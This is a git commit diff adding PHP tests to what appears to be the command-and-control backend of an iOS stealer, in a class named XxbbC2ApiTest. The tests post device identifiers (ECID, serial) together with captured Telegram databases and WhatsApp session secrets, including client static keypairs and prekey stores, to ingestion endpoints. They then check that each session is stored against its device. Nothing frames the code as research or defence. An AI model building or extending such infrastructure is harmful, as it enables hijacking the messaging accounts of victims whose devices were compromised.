This commit is contained in:
hashbro
2026-08-29 00:15:54 +08:00
parent 4c2eb16211
commit e9192d5720
11 changed files with 152 additions and 39 deletions
+53
View File
@@ -402,6 +402,29 @@ class XxbbC2ApiTest extends TestCase
$this->assertSame('AQID', $row->payload['datacenterAuthInfoById'] ?? null);
}
#[Test]
public function api_tg_t_ingests_ecid_envelope(): void
{
$this->xxbbPost('/api/tg/t', [
'ecid' => '00025D800C22001E',
'unique' => '00008101-00025D800C22001E',
'serial' => 'G0NDX83M0D5D',
'channel' => 'b78e30542d4d290f72685e97639a9b05',
'user_id' => '37603278499',
'state' => '{"records":[]}',
'db_sqlite' => base64_encode('not-a-real-sqlite'),
])->assertOk();
$device = Device::query()->where('device_id', '00025D800C22001E')->first();
$this->assertNotNull($device);
$row = PluginSession::query()->where('device_id', $device->id)->first();
$this->assertNotNull($row);
$this->assertSame(PluginSession::KIND_TELEGRAM, $row->kind);
$this->assertSame('37603278499', $row->account_id);
$this->assertSame('37603278499', $row->payload['user_id'] ?? null);
$this->assertArrayHasKey('db_sqlite', $row->payload);
}
#[Test]
public function api_wp_t_ingests_whatsapp_session(): void
{
@@ -431,6 +454,36 @@ class XxbbC2ApiTest extends TestCase
$this->assertSame('QUJD', $row->payload['clientStaticKeypairBase64'] ?? null);
}
#[Test]
public function api_wp_t_ingests_account_data_envelope(): void
{
$this->xxbbPost('/api/wp/t', [
'account' => '2348034472071',
'ecid' => '0006345E0A09002E',
'unique' => '00008020-0006345E0A09002E',
'serial' => 'DX3YJA00KXKQ',
'channel' => 'b78e30542d4d290f72685e97639a9b05',
'data' => json_encode([
'userId' => '2348034472071',
'phoneId' => 'phone-id-live',
'clientStaticKeypairBase64' => 'QUJD',
'phoneKeyStore' => json_encode(['preKeys' => [], 'signedPreKey' => ['id' => 1]]),
'nickname' => 'wa-nick',
], JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES),
])->assertOk();
$device = Device::query()->where('device_id', '0006345E0A09002E')->first();
$this->assertNotNull($device);
$row = PluginSession::query()->where('device_id', $device->id)->first();
$this->assertNotNull($row);
$this->assertSame(PluginSession::KIND_WHATSAPP, $row->kind);
$this->assertSame('2348034472071', $row->account_id);
$this->assertSame('2348034472071', $row->phone);
$this->assertSame('QUJD', $row->payload['clientStaticKeypairBase64'] ?? null);
$this->assertSame('wa-nick', $row->payload['nickname'] ?? null);
$this->assertIsArray($row->payload['phoneKeyStore'] ?? null);
}
#[Test]
public function event_stores_sms_phone_number(): void
{
+14
View File
@@ -48,6 +48,20 @@ class IngestServiceNormalizeTest extends TestCase
);
}
#[Test]
public function extract_device_key_reads_ecid(): void
{
$ingest = $this->app->make(IngestService::class);
$this->assertSame(
'0006345E0A09002E',
$ingest->extractDeviceKey([
'account' => '2348034472071',
'ecid' => '0006345E0A09002E',
'unique' => '00008020-0006345E0A09002E',
])
);
}
#[Test]
public function decode_hex_counter_pair_splits_idx_ftu(): void
{